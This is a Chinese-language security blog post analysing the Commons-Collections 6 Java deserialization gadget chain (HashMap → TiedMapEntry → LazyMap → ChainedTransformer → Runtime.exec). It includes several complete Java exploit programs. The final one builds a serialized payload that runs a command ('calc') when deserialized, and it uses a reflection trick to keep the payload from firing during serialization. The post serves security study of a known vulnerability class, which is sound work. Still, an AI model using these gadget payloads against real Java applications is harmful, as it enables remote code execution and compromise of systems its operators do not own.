Java安全-Commons-Collections 6利用链分析

p0l1st Lv2

前言

继续开始审计CC链。

前面审计了CC1链,CC1链要求环境中的jdk版本低于8u71以及Commons-Collections 3.2.1,而CC6不受jdk版本限制,因此可以说CC6就是一个可以在高版本jdk利用的CC链。

一句话介绍CC6,那就是CC6 = CC1 +URLDNS

环境搭建

  • JDK 8u71
  • Commoons-Collection 3.2.1

继续用CC1的环境就可以,参考上篇文章Java安全-Common-Collections 1利用链分析

CC6利用链分析

CC6链的前半条链与LazyMap版的CC1链一样,我们先来回顾一下LazyMap版的CC1链。

回顾CC1

我们在分析LazyMap版的CC1时讲过,链子的尾部就是InvokerTransformer类中的transform方法

image-20250116135852334

这里的tansform方法可以通过类似反射的方式获取并执行

我们在CC1中通过InvokerTransformer获取到Runtime来执行命令

1
2
3
4
5
Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class,},new Object[]{null,null}).transform(getRuntimeMethod);

new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);

image-20250116140448683

通过ChainedTransformer来简化这个过程

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //构造setValue的可控参数
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

然后就是找谁调用了transforme方法

前面的分析中,用的是LazyMap类的get方法

image-20250116140947764

到这里是CC6和CC1相同的部分,我们下面开始分析CC6

分析CC6

寻找链子

我们继续从LazyMapget方法开始分析

首先是TiedMapEntry类中的getValue()方法调用了LazyMapget()方法

image-20250116141805732

这里的mapTiedMapEntry构造函数定义,可控

image-20250116142156960

我们用TiedMapEntry写一个Exp,确保这条链子可用

由于TiedMapEntry作用域是public,所以不需要通过反射获取它的方法,可以直接调用并修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class TiedMapEntryExp1 {
public static void main(String[] args) throws Exception{
Transformer[] tansformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(tansformers);
HashMap<Object,Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"key");
tiedMapEntry.getValue();


}
}

image-20250116143129201

这里其实就是new了一个TiedMapEntry对象,调用它的getValue()方法,然后再去调用map.get(key)

现在确认了TiedMapEntry这一段链子的可用性,往上找谁调用了TiedMapEntry中的getValue方法

正好这个类有个hashCode方法调用了getValue方法

image-20250116144014938

看到hashCode不难想到URLDNS

img

HashMap类本身就是一个完美的入口类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;


public class TiedMapEntryExp1 {
public static void main(String[] args) throws Exception{
Transformer[] tansformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(tansformers);
HashMap<Object,Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"key");
HashMap<Object,Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry,"p0l1st");

serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object object) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

这里的hash(key)会自动调用key.hashCode()

image-20250116145354017

image-20250116145410992

key可以通过HashMap.put()设置

但是HashMap.put()本身就会调用一次hash,其实就是HashMap.put()会自动调用hashCode()

image-20250116145615410

这就会导致命令在序列化的时候就提前触发

解决问题

参考URLDNS链中的思想,执行put()方法的时候,先不让其命令执行,反序列化的时候再命令执行

put前将LazyMapfactory属性修改为随便一个值,之后再通过反射(作用域是protected)修改回来

image-20250116152854333

1
2
3
4
Class<LazyMap> lazyMapClass = LazyMap.class;  
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMapClass, chainedTransformer);

最终Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class TiedMapEntryExp1 {
public static void main(String[] args) throws Exception{
Transformer[] tansformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(tansformers);
HashMap<Object,Object> map = new HashMap<Object,Object>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));

HashMap<Object,Object> map2 = new HashMap<>();

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");

map2.put(tiedMapEntry,"bbb");
map.remove("aaa");

Class c = LazyMap.class;
Field fieldfactory = c.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap,chainedTransformer);
serialize(map2);
unserialize("ser.bin");

}
public static void serialize(Object object) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

image-20250116161141359

解释一下为什么会有map.remove("aaa")

LazyMapget方法下个断点,

image-20250116160658857

这里会判断LazyMap中有没有key,本来是没有的,但是put了一个键值对,如果这里不删除就会导致进不去if,自然也就无法调用factory.transform(key)

image-20250116160943653

总结

1
2
3
4
5
6
7
8
9
HashMap.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
image-20250116162730701

参考文章

cc6利用链分析

Java_Commons-Collections 6 (CC6)学习过程

Java反序列化Commons-Collections篇03-CC6链

  • Title: Java安全-Commons-Collections 6利用链分析
  • Author: p0l1st
  • Created at : 2025-01-16 16:30:40
  • Updated at : 2025-01-22 14:37:27
  • Link: https://blog.p0l1st.top/2025/01/16/Java安全-Commons-Collections-6利用链分析/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments